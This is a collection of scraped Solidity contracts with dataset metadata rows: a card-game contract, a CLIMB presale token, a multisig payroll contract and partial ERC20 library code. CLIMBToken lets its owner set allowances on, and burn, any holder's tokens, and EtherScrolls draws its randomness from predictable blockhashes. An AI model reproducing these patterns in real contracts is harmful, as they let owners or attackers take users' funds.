return _createCard(runes, powers, _craftedFromLeft, _craftedFromRight, parentGen, owner);
}
function() external payable {}
function bidOnAuctionToBuy(uint cardNumber) public payable {
address seller = dutchAuctionToBuy.getSellerOfToken(cardNumber);
uint bidAmount = msg.value;
dutchAuctionToBuy.bidFromEtherScrolls.value(bidAmount)(cardNumber, msg.sender);
if (seller == address(this)) {
spawnNewZeroCardInternal();
}
}
function spawnNewZeroCard() public masterRestricted {
if (numberOfSpecialCardsCreated < 250) {
spawnNewZeroCardInternal();
numberOfSpecialCardsCreated++;
}
}
function spawnNewZeroCardInternal() internal {
uint16[16] memory runes = generateRunes();
uint16 x = uint16(uint(block.blockhash(block.number - 1)) % 9) + 1;
uint16 y = uint16(uint(block.blockhash(block.number - 2)) % 9) + 1;
uint16[16] memory powers = [uint16(25), uint16(10), uint16(5), uint16(0), uint16(0), uint16(0), uint16(0),
uint16(25), uint16(10), uint16(5), uint16(0), uint16(0), uint16(0), uint16(0), x, y];
uint cardNumber = _createCard(runes, powers, 0, 0, 0, address(this));
_approve(cardNumber, dutchAuctionToBuy);
uint price = dutchAuctionToBuy.priceOfOfficalCardSold() * 2;
if (price < 11000000000000000) {
price = 11000000000000000;
}
dutchAuctionToBuy.startAuction(cardNumber, price, 0, 2 days, address(this));
}
function giftCard(uint cardId, address reciever) public {
require((isOnAuctionToBuy(cardId) == false) && (isOnCraftingAuction(cardId) == false));
require(ownerOf(cardId) == msg.sender);
transfer(reciever, cardId);
Gift(cardId, msg.sender, reciever);
}
function generateRunes() internal returns (uint16[16]) {
uint i = 1;
uint lastBaseIndex = arrayOfPossibleBases.length;
uint16 base1 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
uint16 base2 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
uint16 base3 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
while (base1 == base2 || base2 == base3 || base3 == base1) {
base1 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
base2 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
base3 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
}
base1 = arrayOfPossibleBases[base1];
base2 = arrayOfPossibleBases[base2];
base3 = arrayOfPossibleBases[base3];
uint lastAbilityIndex = arrayOfPossibleAbilities.length;
uint16 ability1 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
uint16 ability2 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
uint16 ability3 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
while (ability1 == ability2 || ability2 == ability3 || ability3 == ability1) {
ability1 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
ability2 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
ability3 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
}
ability1 = arrayOfPossibleAbilities[ability1];
ability2 = arrayOfPossibleAbilities[ability2];
ability3 = arrayOfPossibleAbilities[ability3];
numberOfBasesSold[base1]++;
numberOfAbilitiesSold[ability1]++;
if (numberOfBasesSold[base1] > maxRunes) {
for (i = 0; i < arrayOfPossibleBases.length; i++) {
if (arrayOfPossibleBases[i] == base1) {
lastBaseToBeAddedToCirculation++;
arrayOfPossibleBases[i] = lastBaseToBeAddedToCirculation;
break;
}
}
}
if (numberOfAbilitiesSold[ability1] > maxRunes) {
for (i = 0; i < arrayOfPossibleAbilities.length; i++) {
if (arrayOfPossibleAbilities[i] == ability1) {
lastAbilityToBeAddedToCirculation++;
arrayOfPossibleAbilities[i] = lastAbilityToBeAddedToCirculation;
break;
}
}
}
return [base1, base2, base3, uint16(0), uint16(0), uint16(0), uint16(0),
ability1, ability2, ability3, uint16(0), uint16(0), uint16(0), uint16(0), base1, ability1];
}
}
contract EtherScrolls is CardMarket {
function EtherScrolls(address master1, address master2, address withdrawAddress) public CardMarket(master1, master2, withdrawAddress) {
}
}
| 163,546 | 789 |
6e89141411ecf9d0f045865b19c2686911b5c3a07f71fc557cd16cf7297ee976
| 24,088 |
.sol
|
Solidity
| false |
343030630
|
dev0328/climb-token-presale
|
7605526d7f61fcef20b6c75b139115b1d44a1d9b
|
Contract/CLIMBToken.sol
| 2,769 | 10,773 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function removeMinter(address account) public onlyMinter {
_removeMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _maxSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 maxsupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_maxSupply = maxsupply;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom (address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer (address sender, address recipient, uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
require(_totalSupply.add(amount) <= _maxSupply, 'BEP20: Overflow maxsupply');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve (address owner, address spender, uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// CLIMBToken
contract CLIMBToken is BEP20('Climb Token Finance', 'CLIMB', 8, 625000 * 1e8), MinterRole {
constructor() public {
}
function approve(address owner, address spender, uint256 amount) public onlyOwner {
_approve(owner, spender, amount);
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
function mint(address _to, uint256 _amount) public onlyMinter {
_mint(_to, _amount);
}
/// @notice Bunrs `_amount` token fromo `_from`. Must only be called by the owner.
function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
}
/// @notice Presale `_amount` token to `_to`. Must only be called by the minter.
function presale(address _to, uint256 _amount) public onlyMinter {
_transfer(address(this), _to, _amount);
}
}
| 174,030 | 790 |
3609372e49c914a89b042760173865fb332388e2357dc94b749c94815ffa0efd
| 12,737 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x7095abd9cff4ff5108b5637181aea37be652ed17.sol
| 3,349 | 12,686 |
pragma solidity >=0.4.21 <0.6.0;
contract MultiSigInterface{
function update_and_check_reach_majority(uint64 id, string memory name, bytes32 hash, address sender) public returns (bool);
function is_signer(address addr) public view returns(bool);
}
contract MultiSigTools{
MultiSigInterface public multisig_contract;
constructor(address _contract) public{
require(_contract!= address(0x0));
multisig_contract = MultiSigInterface(_contract);
}
modifier only_signer{
require(multisig_contract.is_signer(msg.sender), "only a signer can call in MultiSigTools");
_;
}
modifier is_majority_sig(uint64 id, string memory name) {
bytes32 hash = keccak256(abi.encodePacked(msg.sig, msg.data));
if(multisig_contract.update_and_check_reach_majority(id, name, hash, msg.sender)){
_;
}
}
event TransferMultiSig(address _old, address _new);
function transfer_multisig(uint64 id, address _contract) public only_signer
is_majority_sig(id, "transfer_multisig"){
require(_contract != address(0x0));
address old = address(multisig_contract);
multisig_contract = MultiSigInterface(_contract);
emit TransferMultiSig(old, _contract);
}
}
library AddressArray{
function exists(address[] storage self, address addr) public view returns(bool){
for (uint i = 0; i< self.length;i++){
if (self[i]==addr){
return true;
}
}
return false;
}
function index_of(address[] storage self, address addr) public view returns(uint){
for (uint i = 0; i< self.length;i++){
if (self[i]==addr){
return i;
}
}
require(false, "AddressArray:index_of, not exist");
}
function remove(address[] storage self, address addr) public returns(bool){
uint index = index_of(self, addr);
self[index] = self[self.length - 1];
delete self[self.length-1];
self.length--;
}
function replace(address[] storage self, address old_addr, address new_addr) public returns(bool){
uint index = index_of(self, old_addr);
self[index] = new_addr;
}
}
library SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a, "add");
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a, "sub");
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b, "mul");
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0, "div");
c = a / b;
}
}
contract ERC20TokenBankInterface{
function balance() public view returns(uint);
function token() public view returns(address, string memory);
function issue(address _to, uint _amount) public returns (bool success);
}
contract ERC20Salary is MultiSigTools{
using SafeMath for uint;
using AddressArray for address[];
struct employee_info{
uint salary;
uint period;
uint total;
uint claimed;
uint last_block_num;
uint pause_block_num;
address leader;
bool paused;
bool exists;
}
ERC20TokenBankInterface public erc20bank;
string public token_name;
address[] public employee_accounts;
mapping (address => employee_info) public employee_infos;
address public owner;
bool public is_admin_mode;
event ClaimedSalary(address account, address to, uint amount);
constructor(string memory _name, address _owner, address _erc20bank, address _multisig) MultiSigTools(_multisig) public{
token_name = _name;
erc20bank = ERC20TokenBankInterface(_erc20bank);
owner = _owner;
is_admin_mode = true;
}
function change_token_bank(uint64 id, address _addr) public only_signer is_majority_sig(id, "change_token_bank"){
require(_addr != address(0x0), "invalid address");
erc20bank = ERC20TokenBankInterface(_addr);
}
function balance() public view returns(uint){
return erc20bank.balance();
}
function token() public view returns(address, string memory){
return erc20bank.token();
}
function unclaimed_amount() public returns(uint){
uint total = 0;
for(uint i = 0; i < employee_accounts.length; ++i){
_update_salary(employee_accounts[i]);
uint t = employee_infos[employee_accounts[i]].total.safeSub(employee_infos[employee_accounts[i]].claimed);
total = total.safeAdd(t);
}
return total;
}
function admin_init_employee(address account, uint last_block_num, uint pause_block_num,
uint period, uint salary, uint total, uint claimed, address leader) public returns(bool){
require(owner == msg.sender, "not owner");
require(is_admin_mode, "not admin mode");
_primitive_init_employee(account, last_block_num, pause_block_num, false, period, salary, total, claimed, leader);
return true;
}
function admin_remove_employee(address account) public returns(bool){
require(owner == msg.sender, "not owner");
require(is_admin_mode, "not admin mode");
_remove_employee(account);
return true;
}
function stop_admin_mode() public{
require(owner == msg.sender, "not owner");
is_admin_mode = false;
}
function add_employee(uint64 id, address account, uint last_block_num, uint period, uint salary, address leader)
public only_signer
is_majority_sig(id, "add_employee")
returns(bool)
{
require(!is_admin_mode, "still in admin init mode");
require(account != address(0));
require(last_block_num >0);
require(period > 0);
require(salary > 0);
require(leader != account, "cannot be self leader");
if(employee_infos[account].exists) return false;
_primitive_init_employee(account, last_block_num, 0, false, period, salary, 0, 0, leader);
return true;
}
function add_employee_with_meta(uint64 id, address account, uint last_block_num,
uint pause_block_num, bool paused, uint period,
uint salary, uint total, uint claimed, address leader)
public only_signer
is_majority_sig(id, "add_employee_with_meta")
returns(bool)
{
require(!is_admin_mode, "still in admin init mode");
_primitive_init_employee(account, last_block_num, pause_block_num, paused, period, salary, total, claimed, leader);
return true;
}
function _primitive_init_employee(address account, uint last_block_num,
uint pause_block_num, bool paused, uint period,
uint salary, uint total, uint claimed, address leader) internal{
if(!employee_infos[account].exists) {
employee_accounts.push(account);
}
employee_infos[account].salary = salary;
employee_infos[account].period = period;
employee_infos[account].total = total;
employee_infos[account].claimed = claimed;
employee_infos[account].last_block_num = last_block_num;
employee_infos[account].pause_block_num = pause_block_num;
employee_infos[account].leader = leader;
employee_infos[account].paused = paused;
employee_infos[account].exists = true;
}
function remove_employee(uint64 id, address account) public only_signer is_majority_sig(id, "remove_employee"){
_remove_employee(account);
}
function _remove_employee(address account) internal returns(bool){
if(!employee_infos[account].exists) return false;
employee_accounts.remove(account);
delete employee_infos[account];
return true;
}
function change_employee_period(uint64 id, address account, uint period) public only_signer is_majority_sig(id, "change_employee_period"){
require(employee_infos[account].exists);
_update_salary(account);
employee_infos[account].period = period;
}
function change_employee_salary(uint64 id, address account, uint salary) public only_signer is_majority_sig(id, "change_employee_salary"){
require(employee_infos[account].exists);
_update_salary(account);
employee_infos[account].salary= salary;
}
function change_employee_leader(uint64 id, address account, address leader) public only_signer is_majority_sig(id, "change_employee_leader"){
require(employee_infos[account].exists);
require(account != leader, "account cannot be self leader");
_update_salary(account);
employee_infos[account].leader = leader;
}
function change_employee_status(uint64 id, address account, bool pause) public only_signer is_majority_sig(id, "change_employee_status"){
require(employee_infos[account].exists);
require(employee_infos[account].paused != pause, "status already done");
_update_salary(account);
_change_employee_status(account, pause);
}
function _change_employee_status(address account, bool pause) internal {
employee_infos[account].paused = pause;
employee_infos[account].pause_block_num = (block.number - employee_infos[account].pause_block_num);
}
function change_subordinate_period(address account, uint period) public {
require(employee_infos[account].exists);
require(employee_infos[account].leader == msg.sender, "not your subordinate");
_update_salary(account);
employee_infos[account].period = period;
}
function change_subordinate_salary(address account, uint salary) public {
require(employee_infos[account].exists);
require(employee_infos[account].leader == msg.sender, "not your subordinate");
_update_salary(account);
employee_infos[account].salary = salary;
}
function change_subordinate_status(address account, bool pause) public {
require(employee_infos[account].exists);
require(employee_infos[account].leader == msg.sender, "not your subordinate");
_update_salary(account);
_change_employee_status(account, pause);
}
function _update_salary(address account) private {
employee_info storage ei = employee_infos[account];
if(ei.paused) return ;
uint t = block.number.safeSub(ei.pause_block_num);
t = t.safeSub(ei.last_block_num);
uint p = t.safeDiv(ei.period);
if(p == 0) return ;
ei.total = ei.total.safeAdd(p.safeMul(ei.salary));
ei.last_block_num = ei.last_block_num.safeAdd(p.safeMul(ei.period));
}
function update_salary(address account) public{
require(employee_infos[account].exists, "not exist");
_update_salary(account);
}
function self_info() public returns(uint salary, uint period, uint total,
uint claimed, uint last_claim_block_num, uint paused_block_num, bool paused, address leader){
require(employee_infos[msg.sender].exists, "not exist");
_update_salary(msg.sender);
return get_employee_info_with_account(msg.sender);
}
function claim_salary(address to, uint amount) public returns(bool){
require(employee_infos[msg.sender].exists);
_update_salary(msg.sender);
employee_info storage ei = employee_infos[msg.sender];
require(ei.total.safeSub(ei.claimed) >= amount);
require(amount <= balance());
ei.claimed = ei.claimed.safeAdd(amount);
erc20bank.issue(to, amount);
emit ClaimedSalary(msg.sender, to, amount);
return true;
}
function get_employee_count() public view returns(uint){
return employee_accounts.length;
}
function get_employee_info_with_index(uint index) public view returns(uint salary, uint period, uint total, uint claimed, uint last_claim_block_num, uint paused_block_num, bool paused, address leader){
require(index >= 0 && index < employee_accounts.length);
address account = employee_accounts[index];
require(employee_infos[account].exists);
return get_employee_info_with_account(account);
}
function get_employee_info_with_account(address account) public view returns(uint salary, uint period, uint total,
uint claimed, uint last_claim_block_num, uint paused_block_num, bool paused, address leader){
require(employee_infos[account].exists);
salary = employee_infos[account].salary;
period = employee_infos[account].period;
total = employee_infos[account].total;
claimed = employee_infos[account].claimed;
last_claim_block_num = employee_infos[account].last_block_num;
leader = employee_infos[account].leader;
paused = employee_infos[account].paused;
paused_block_num = employee_infos[account].pause_block_num;
}
}
| 164,305 | 791 |
72af10d43095047328dfab4a27b2eb85dd2e896c2e49b97115b608fed5097ff5
| 35,583 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/55/55a25cf35ae0afecb396fe5a56d7e50bb37c189e_SCATTokenRedeem.sol
| 4,028 | 17,001 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
